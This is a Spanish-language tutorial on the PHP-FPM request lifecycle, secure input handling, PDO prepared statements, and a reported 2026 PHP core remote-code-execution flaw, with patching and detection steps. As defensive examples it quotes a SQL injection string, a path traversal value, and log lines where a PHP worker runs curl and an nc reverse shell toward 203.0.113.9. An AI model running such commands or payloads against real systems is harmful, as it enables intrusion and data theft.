Del navegador al intérprete, el ciclo de vida en PHP-FPM
En octubre de 2026, equipos de seguridad de Europa, Estados Unidos y Canadá publicaron alertas sobre el mismo programa. Les pidieron a millones de administradores que actualizaran PHP de inmediato, porque una petición web anónima podía terminar ejecutando código en sus servidores. Para entender cómo una simple visita llega a tanto, primero hay que seguir el camino normal de esa visita.
Cuando escribes una dirección en el navegador, tu equipo le envía al servidor una petición HTTP, que es un mensaje de texto con un método (GET, POST), una ruta, unos encabezados y, a veces, un cuerpo. Quien la recibe es un servidor web como Nginx o Apache. Ese programa sabe entregar imágenes y archivos CSS por su cuenta, pero cuando la ruta termina en .php le pasa el trabajo a otro proceso.
En la mayoría de los despliegues actuales ese proceso es PHP-FPM (FastCGI Process Manager). FPM mantiene un grupo de procesos trabajadores, llamado pool, que esperan peticiones. Nginx les habla por el protocolo FastCGI, un socket donde viajan la ruta del script, los encabezados y el cuerpo. Un trabajador libre toma la petición, ejecuta tu script y devuelve la respuesta. Apache también puede cargar PHP como módulo dentro de su propio proceso (mod_php), y los servidores más viejos lo arrancan como programa CGI en cada visita.
- Diagrama animado de una petición FastCGI que llega de Nginx a un worker de PHP-FPM, se procesa y se limpia
- FastCGI
- Memoria del worker
- Limpieza
- Nginx
- Socket FastCGI
- Pool PHP-FPM
- Inactivo
- Procesando
- Limpio
- Limpiando
- Respuesta
- Worker
- $_GET
- $_POST
- $_SERVER
- q=zapatos
- email=ana
- GET /tienda.php
- vacío
Las superglobales nacen con cada petición
Antes de ejecutar la primera línea de tu código, el intérprete desarma la petición y llena unos arreglos que puedes leer desde cualquier función. Se llaman superglobales.
<?php
$metodo = $_SERVER['REQUEST_METHOD']; // GET, POST...
$busqueda = $_GET['q'] ?? ''; // ?q=zapatos en la URL
$correo = $_POST['email'] ?? null; // campos de un formulario
$tema = $_COOKIE['tema'] ?? 'claro';
$archivo = $_FILES['avatar'] ?? null; // archivos subidosTodo lo que hay en $_GET, $_POST, $_COOKIE y $_FILES lo escribió el cliente, y el cliente puede ser un atacante con un script. Incluso parte de $_SERVER, como HTTP_USER_AGENT, viene copiada de encabezados que cualquiera puede falsificar.

Memoria nueva para cada visita
PHP sigue un modelo llamado share nothing. Al terminar la petición, el trabajador libera las variables, cierra las conexiones que abrió el script y queda limpio para la siguiente visita, que puede ser de otro usuario. Por eso guardar algo en una variable global no sirve para recordarlo en la próxima petición, y para eso existen las sesiones, las bases de datos y las cachés.
Ese aislamiento es una promesa de seguridad. Si la limpieza entre una petición y la siguiente falla, los datos o punteros de un usuario pueden sobrevivir dentro del mismo trabajador. Con este detalle la historia de 2026 cobra sentido más adelante.

Procesamiento de entradas, sesiones y control de archivos
La regla práctica es validar lo que entra y escapar lo que sale. Validar significa rechazar lo que no tiene la forma esperada; escapar significa convertir los datos en texto inofensivo según el lugar donde se van a imprimir. PHP trae filter_var para lo primero y htmlspecialchars para lo segundo.
<?php
$edad = filter_var($_POST['edad'] ?? '', FILTER_VALIDATE_INT,
['options' => ['min_range' => 18, 'max_range' => 120]]);
if ($edad === false) {
http_response_code(422);
exit('Edad inválida');
}
$nombre = trim($_POST['nombre'] ?? '');
echo '<p>Hola, ' . htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8') . '</p>';Si imprimieras $nombre sin escapar, alguien podría registrarse como <script>…</script> y su código correría en el navegador de cada visitante. Ese ataque se llama XSS (cross-site scripting), y htmlspecialchars lo corta porque convierte < en <.
Sesiones y cookies
Una sesión le permite al servidor recordar quién eres. PHP genera un identificador aleatorio, lo guarda en la cookie PHPSESSID y almacena tus datos en el servidor. El navegador solo conserva la llave, nunca el contenido.
<?php
session_start([
'cookie_httponly' => true, // JavaScript no puede leerla
'cookie_secure' => true, // solo viaja por HTTPS
'cookie_samesite' => 'Lax', // frena envíos desde otros sitios
]);
if (login_correcto($usuario, $clave)) {
session_regenerate_id(true); // id nuevo tras autenticarse
$_SESSION['usuario_id'] = $usuario->id;
}Regenerar el identificador al iniciar sesión evita que un atacante te haga entrar con un identificador que él ya conoce. Conviene también saber que el mecanismo de sesiones procesa datos antes de que tu script haga nada, y que esa maquinaria resultó relevante en el incidente de 2026.

Subidas de archivos fuera del alcance del servidor web
Cuando alguien sube un archivo, PHP lo deja en una carpeta temporal y tú decides qué hacer con él. El error clásico es moverlo a una carpeta pública como /var/www/html/uploads conservando el nombre original. Si el atacante sube foto.php con código dentro y luego visita /uploads/foto.php, el servidor web lo trata como cualquier otro script y lo ejecuta. Esa pieza, llamada webshell, le da una consola dentro de tu servidor.
<?php
$f = $_FILES['avatar'];
if ($f['error'] !== UPLOAD_ERR_OK || $f['size'] > 2_000_000) {
exit('Archivo rechazado');
}
$tipo = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);
$permitidos = ['image/png' => 'png', 'image/jpeg' => 'jpg'];
if (!isset($permitidos[$tipo])) {
exit('Tipo no permitido');
}
$nombre = bin2hex(random_bytes(16)) . '.' . $permitidos[$tipo];
move_uploaded_file($f['tmp_name'], '/srv/app/storage/' . $nombre);El código revisa el contenido real del archivo en vez de confiar en la extensión, inventa un nombre aleatorio y guarda el archivo en /srv/app/storage, una carpeta que el servidor web no publica. Para mostrar la imagen, un script la lee y la envía con su tipo correcto. Las rutas que pide el usuario merecen la misma desconfianza, porque un parámetro como ../../etc/passwd sirve para salirse de la carpeta prevista; usa basename() o, mejor, una lista de identificadores permitidos.

Persistencia segura con PDO y consultas preparadas
PDO (PHP Data Objects) es la capa estándar para hablar con MySQL, PostgreSQL o SQLite usando la misma interfaz. El peligro aparece cuando la consulta se arma pegando texto del usuario.
<?php
// Vulnerable
$sql = "SELECT * FROM usuarios WHERE email = '" . $_POST['email'] . "'";
$pdo->query($sql);Si alguien envía ' OR '1'='1 como correo, la consulta final devuelve todos los usuarios, porque la comilla del atacante cerró la cadena y lo que sigue se volvió parte del SQL. Eso es inyección SQL. Interpolar la variable dentro de comillas dobles ("... '$email'") produce exactamente el mismo texto, así que tampoco protege.

Lo que hace una consulta preparada
La consulta preparada separa el código de los datos. Primero mandas la estructura con marcadores y después los valores por un canal aparte.
<?php
$pdo = new PDO('mysql:host=localhost;dbname=tienda;charset=utf8mb4',
$usuarioBd, $claveBd, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare('SELECT id, nombre FROM usuarios WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$usuario = $stmt->fetch(PDO::FETCH_ASSOC);Con preparación nativa, el motor de base de datos recibe y analiza SELECT ... WHERE email = ? antes de conocer el valor. Cuando llega ' OR '1'='1, la estructura de la consulta ya está fijada, y esa cadena solo puede ocupar el lugar de un dato. No hay comilla que pueda cerrar nada.
- Modo de consulta
- Prepared statement nativo
- Concatenación vulnerable
- Correo recibido
- mysql> tienda
- Árbol sintáctico de la consulta
- SELECT
- WHERE
- email =
- OR
- Estructura alterada
- Dato parametrizado aislado
- FROM
- usuarios
- id, nombre
- Devuelve todos los usuarios
- Sin coincidencias: ningún correo es igual a ese texto
- Una fila solo si el correo coincide exacto
PDO tiene además un modo de emulación, activo por defecto con MySQL. En ese modo el propio PDO escapa los valores y arma una consulta completa de texto antes de enviarla. Con un charset bien declarado en la conexión suele ser seguro, pero la protección depende del escape correcto en el lado de PHP, y hubo ataques con codificaciones de caracteres raras contra ese tipo de escape. Desactivar ATTR_EMULATE_PREPARES hace que la separación la garantice el servidor de base de datos.
Los marcadores solo sirven para valores. Un nombre de columna o un ORDER BY elegidos por el usuario se resuelven con una lista blanca, por ejemplo aceptando únicamente precio o fecha.
- PDO con preparación nativa en MySQL
- ATTR_EMULATE_PREPARES
- =
- false
- Esquema de red entre el proceso PHP y el servidor MySQL con dos paquetes sucesivos
- Proceso PHP
- Servidor MySQL
- COM_STMT_PREPARE
- COM_STMT_EXECUTE
- SELECT id, nombre FROM usuarios WHERE email = ?
- SELECT … email = ?
- Sintaxis válida
- 1 · estructura
- 2 · valores
- Resultado
- ana@mail.com
El ecosistema moderno con Composer, autoload PSR-4 y frameworks
Un proyecto PHP profesional casi nunca empieza con require sueltos. Empieza con Composer, el gestor de dependencias del lenguaje, y un archivo composer.json que declara las librerías y cómo se cargan tus clases.
{
"require": {
"php": ">=8.3",
"monolog/monolog": "^3.0"
},
"autoload": {
"psr-4": { "App\\": "src/" }
}
}La regla PSR-4 es un estándar de la comunidad que traduce espacios de nombres en rutas. La clase App\Pedidos\Factura vive en src/Pedidos/Factura.php, y Composer genera un cargador que la busca ahí la primera vez que la usas. Con un solo require 'vendor/autoload.php' en el punto de entrada tienes todas tus clases y las de terceros disponibles.
- Diagrama de resolución PSR-4
- public/index.php
- vendor/composer · psr-4
- namespace → carpetas
- archivo resuelto
- en memoria
- new App\Pedidos\Factura()
- App\ → src/
- "App\": "src/"
- Pedidos/
- Factura
- + .php
- src/Pedidos/Factura.php
<?php
// public/index.php, el único archivo PHP dentro del document root
require __DIR__ . '/../vendor/autoload.php';
use App\Pedidos\Factura;
$factura = new Factura($pedidoId);Esa estructura trae un beneficio de seguridad que conecta con la subida de archivos. Solo public/ queda expuesta al servidor web, mientras src/, vendor/, la configuración y los archivos subidos viven un nivel arriba, donde nadie puede pedirlos por URL.

Cuándo usar Laravel, Symfony o algo más pequeño
Laravel y Symfony resuelven de entrada lo que acabas de ver a mano, con enrutamiento, validación declarativa, protección CSRF, sesiones bien configuradas y un ORM que usa consultas preparadas. Laravel prioriza la rapidez para construir una aplicación completa; Symfony ofrece componentes más configurables, y Laravel usa varios de ellos. Para una API pequeña o un microservicio, un microframework como Slim o unos pocos componentes sueltos alcanzan sin cargar toda la maquinaria.
Un framework protege tu código, pero corre sobre el intérprete. Si el fallo está en el propio PHP, Laravel y Symfony quedan tan expuestos como un script de diez líneas, y eso fue lo que pasó en 2026.

Anatomía del fallo reciente y su causa raíz
El incidente que sacudió al lenguaje en octubre de 2026 recibió el apodo de PHP2Shell y agrupa dos vulnerabilidades del núcleo, CVE-2026-109618 y CVE-2026-109619. Ambas permiten ejecutar código de forma remota y sin autenticación, y tienen una puntuación CVSS de 9.2 sobre 10.
CVE-2026-109618 aprovecha la forma en que PHP maneja una situación de memoria agotada. Cuando un script supera memory_limit, el intérprete aborta la ejecución, y en ese camino de emergencia la memoria puede quedar corrompida. CVE-2026-109619 nace de un estado global obsoleto que deja un use-after-free, es decir, código que sigue usando un bloque de memoria después de haberlo liberado. Las dos son errores de manejo de memoria en C dentro del intérprete, no defectos de tu aplicación.
- Heap de PHP al superar memory_limit
- Estado de la memoria
- Estable
- Uso del heap
- / 128 MB
- Punteros huérfanos
- Bloques de memoria del heap
- Carga del script
- MB
- Carga del script en megabytes
- En uso
- Libre
- Liberado con puntero huérfano
- Límite
- Cerca del límite
- Heap corrupto
- memory_limit
- Interrupción por OOM
- Limpieza abortada
El alcance es amplio porque el código vulnerable está en el núcleo. Quedan afectadas las instalaciones que atienden peticiones web con PHP-FPM, Apache mod_php, CGI, FrankenPHP o LiteSpeed. El proyecto PHP señaló a mod_php expuesto a internet como la configuración de mayor riesgo.
| Rama de PHP | Primera versión corregida |
|---|---|
| 8.5 | 8.5.12 |
| 8.4 | 8.4.27 |
| 8.3 | 8.3.36 |
| 8.2 | 8.2.35 |
Toda versión por debajo de esas sigue siendo vulnerable. PHP 8.1 y las anteriores ya no reciben soporte oficial, así que solo queda migrar a una rama vigente o depender de un parche que publique la distribución del sistema operativo.
Este fallo tiene un antecedente útil para comparar. En 2024, CVE-2024-4577 afectó solo a PHP-CGI en Windows. Una conversión de caracteres del sistema transformaba el guion suave (0xAD) en un guion normal después de que PHP ya había hecho su control, y así un parámetro de la URL se convertía en una opción de línea de comandos como -d. Aquel era un problema de configuración y codificación en un despliegue antiguo; PHP2Shell vive en el manejo de memoria que comparten todos los modos de despliegue.
Mecanismo de explotación y vector de ataque
Los avisos oficiales no publican una receta de explotación, y conviene leer lo que sí dicen con cuidado. Las mitigaciones temporales que recomiendan señalan las piezas implicadas, entre ellas el seguimiento del progreso de subida de las sesiones, el registro de trazas en errores fatales de PHP 8.5 y el límite de memoria. Los indicadores para buscar en los registros apuntan en la misma dirección.
Con esas piezas, la cadena que describen los investigadores se puede reconstruir a grandes rasgos. Un atacante sin cuenta envía una petición con parámetros de sesión inusuales o enormes, una subida malformada o datos muy anidados. PHP procesa esa entrada antes de que tu script corra, así que ninguna validación tuya alcanza a intervenir. La petición empuja al intérprete hacia un error fatal o hacia el límite de memoria.
En ese aborto de emergencia, una parte del estado global no se limpia como debería. Aquí se rompe la promesa share nothing de la primera página, porque el trabajador de FPM o el proceso de Apache sigue vivo y atiende la petición siguiente con un puntero que apunta a memoria ya liberada. Si el atacante logra colocar datos suyos en ese espacio, controla lo que el intérprete cree que es una estructura interna y puede desviar la ejecución hacia código propio. El resultado es una consola con los permisos del usuario del servidor web, como www-data. Según los avisos, los fallos también pueden filtrar contenido de memoria, que en un servidor web incluye datos de otras peticiones.

Por qué tuvo tanto eco
La explotación no requiere un script vulnerable ni un plugin descuidado; basta un servidor que responda peticiones con una versión afectada. Hubo intentos de explotación poco después de la publicación. Los reportes sobre explotación activa no coinciden entre todas las fuentes, pero varias la confirman, y por eso cualquier PHP expuesto a internet se considera en riesgo hasta parchearlo e investigarlo. CISA publicó su alerta el 21 de octubre de 2026, y ENISA firmó una declaración conjunta con otras agencias.
![Sello oficial de CISA [mat:img5]](/_next/image?url=https%3A%2F%2Fresources.gurwi.com%2Forganizations%2Fead4c2c4-d50b-4ef4-a503-e26bccf2deb5%2Fcited%2Fa0b4bb2d-f282-4d76-be97-8ef6a93284fc.png&w=1080&q=80)
Detección de intrusiones, parches y endurecimiento de producción
La respuesta empieza por el inventario, porque PHP aparece en lugares que nadie recuerda, como imágenes de contenedor, paneles de hosting, pools de FPM y appliances de proveedores. Luego viene el parche, con el paquete de seguridad de tu distribución o la versión oficial. Después hay que reiniciar FPM, Apache, PHP-CGI y cualquier trabajador de larga duración, porque un proceso que sigue corriendo conserva en memoria el código viejo. Las imágenes de contenedor se reconstruyen, ya que actualizar el host no toca lo que va dentro.
Si el parche se retrasa, los avisos proponen aislar el servidor de la red pública y aplicar controles temporales.
; php.ini, solo mientras llega la actualización
session.upload_progress.enabled = Off
; en PHP 8.5
fatal_error_backtraces = 0
; contra CVE-2026-109618, con un límite de memoria del contenedor o cgroup
memory_limit = -1memory_limit = -1 quita el límite de PHP y evita el camino de emergencia defectuoso, y por eso exige poner el tope en otra capa, como un cgroup de Linux. Ninguno de estos ajustes cierra el fallo.
Buscar señales de compromiso
Los registros se revisan al menos desde el 17 de octubre de 2026. La señal más fuerte es un trabajador de PHP que lanza procesos que nunca debería lanzar, como sh, bash, curl, wget o nc. También cuentan los valores raros de PHPSESSID, las ráfagas de errores 5xx, los trabajadores que se caen por memoria, las conexiones salientes hacia direcciones desconocidas y los archivos .php nuevos en carpetas públicas.
# Versiones y trabajadores en ejecución
php -v
ps auxww | egrep 'php|php-fpm|php-cgi|apache2|httpd'
# Procesos ejecutados desde el 17 de octubre
ausearch -ts 2026-10-17 -m EXECVE -i | \
egrep 'php-fpm|www-data|curl|wget|nc|/bin/sh|/bin/bash'
# Archivos PHP creados o cambiados en las carpetas web
find /var/www /srv/www -type f -name '*.php' -newermt '2026-10-17' -ls 2>/dev/null
# Conexiones salientes abiertas
ss -tpn- Severidad del evento
- Alerta crítica: spawn de /bin/sh
- Terminal de análisis forense
- ausearch · ss
- EXECVE uid=www-data ppid=
- php-fpm: pool www
- exe=
- /bin/sh
- -c "curl -s 203.0.113.9/x"
- IoC: worker PHP lanza shell
- GET /upload.php 200 Cookie: PHPSESSID=
- AAAA%00../..//AAAA
- (63 KB)
- IoC: PHPSESSID malformado
- ESTAB php-fpm pid=412 10.0.4.7:51844 →
- IoC: conexión saliente desconocida
- EXECVE uid=www-data exe=
- /usr/bin/nc
- 203.0.113.9 4444 -e /bin/sh
- IoC: worker PHP lanza nc
- Filtros
- Procesos anómalos
- Sesiones anormales
- Conexiones salientes
- Alerta alta: PHPSESSID con valor raro
- Alerta alta: salida hacia 203.0.113.9
- Indicador: un trabajador de PHP lanza sh y nc. Dos líneas coinciden.
- Indicador: cookie de sesión con bytes nulos y rutas. Una línea coincide.
- Indicador: conexión abierta hacia una dirección desconocida. Una línea coincide.
Si aparece algo sospechoso, el orden importa. Se aísla el equipo, se captura la memoria de los trabajadores antes de reiniciar (un reinicio borra la evidencia del heap) y se guardan todos los registros. Después se rotan desde un equipo limpio las claves de base de datos, las llaves de API y las de firma de sesión, y el servidor se reconstruye desde una imagen confiable en lugar de limpiarlo a mano.
PHP2Shell deja una lección para quien programa y para quien despliega. Tu validación, tus consultas preparadas y tu framework protegen la lógica de la aplicación, pero corren sobre un runtime que también es software con errores. Mantener ese runtime en una rama con soporte, reiniciarlo cuando se actualiza y vigilar qué procesos lanza forma parte del mismo trabajo que escribir prepare() en vez de concatenar.
Fuentes
Referencias
- Critical Vulnerabilities in PHP - CERT-EU — 2026
- Hypertext Preprocessor
- Joint statement on critical PHP vulnerabilities — 2026
- PHP: News Archive - 2026 — 2026
- Critical Vulnerabilities in PHP Require Immediate Patching - CISA — 2026
- Critical PHP Core RCE Vulnerabilities (php2shell aka CVE ... — 2026
- Technical Advisory: PHP2Shell Pre-Auth RCE (CVE-2026- ... — 2026
- PHP CGI Argument Injection Vulnerability (CVE-2024-4577) — 2024
- CVE-2024-4577 : PHP-CGI OS Command Injection Vulnerability — 2024
- PHP2Shell: Critical PHP RCE Flaws CVE-2026-109618 and CVE-2026-109619 — 2026
- Responding to core PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619 | Google Cloud Blog — 2026
- Security Vulnerability: Critical PHP Core RCE Vulnerabilities ... — 2026
- PHP: Two Critical Core Vulnerabilities Put Millions of Web ...
- Threat Brief: Critical Vulnerabilities in PHP: CVE-2026-109618 ... — 2026
- AL26-026 - Critical vulnerabilities impacting PHP - CVE- ... — 2026
- Addressing PHP2Shell CVE-2026-109618 and CVE-2026-109619 ... — 2026
Fuentes audiovisuales
- An American flag and a flag bearing the seal of the Cybersecurity and Infrastructure Security Agency (which features an eagle holding a shield with elements of a skyline on it) flank a large upright square panel bearing the same CISA seal. On the wall to the right of the panel and the flags, a row of digital clocks shows the time in the four major U.S. time zones. — cybersecuritydive.com
- European Union Agency for Cybersecurity (ENISA) — devex.com
- Critical PHP RCE CVE-2026-109618 and CVE-2026-109619 - SecureLayer7 — blog.securelayer7.net
- PHP CGI Argument Injection (CVE-2024-4577)- Vulnerability Analysis and Exploitation — cyfirma.com
- File:CISA Logo.png — Department of Homeland Security - Cybersecurity and Infrastructure Security Agency, Wikimedia Commons · Public domain
Preguntas frecuentes
¿Qué es PHP-FPM y cómo funciona?
PHP-FPM (FastCGI Process Manager) mantiene un grupo de procesos trabajadores, llamado pool, que esperan peticiones. Nginx le habla por el protocolo FastCGI, un socket donde viajan la ruta del script, los encabezados y el cuerpo. Un trabajador libre toma la petición, ejecuta el script y devuelve la respuesta.
¿Qué son las superglobales en PHP y de dónde vienen sus datos?
Las superglobales son arreglos que el intérprete llena antes de ejecutar la primera línea del código, como $_GET, $_POST, $_COOKIE y $_FILES. Todo lo que contienen lo escribió el cliente, que puede ser un atacante con un script. Incluso parte de $_SERVER, como HTTP_USER_AGENT, viene copiada de encabezados falsificables.
¿Qué significa que PHP use un modelo share nothing?
Al terminar la petición, el trabajador libera las variables, cierra las conexiones que abrió el script y queda limpio para la siguiente visita. Por eso guardar algo en una variable global no sirve para recordarlo en la próxima petición. Ese aislamiento es una promesa de seguridad: si la limpieza falla, los datos de un usuario pueden sobrevivir en el mismo trabajador.
¿Por qué es peligroso subir archivos a una carpeta pública conservando el nombre original?
Si el atacante sube foto.php con código dentro y luego visita /uploads/foto.php, el servidor web lo trata como cualquier otro script y lo ejecuta. Esa pieza, llamada webshell, le da una consola dentro del servidor. Lo correcto es verificar el contenido real, usar un nombre aleatorio y guardar fuera del document root.
¿Cómo evita una consulta preparada la inyección SQL?
La consulta preparada separa el código de los datos: primero se manda la estructura con marcadores y después los valores por un canal aparte. Con preparación nativa, el motor analiza la consulta antes de conocer el valor, así que una cadena como ' OR '1'='1 solo puede ocupar el lugar de un dato. Desactivar ATTR_EMULATE_PREPARES hace que esa separación la garantice el servidor.


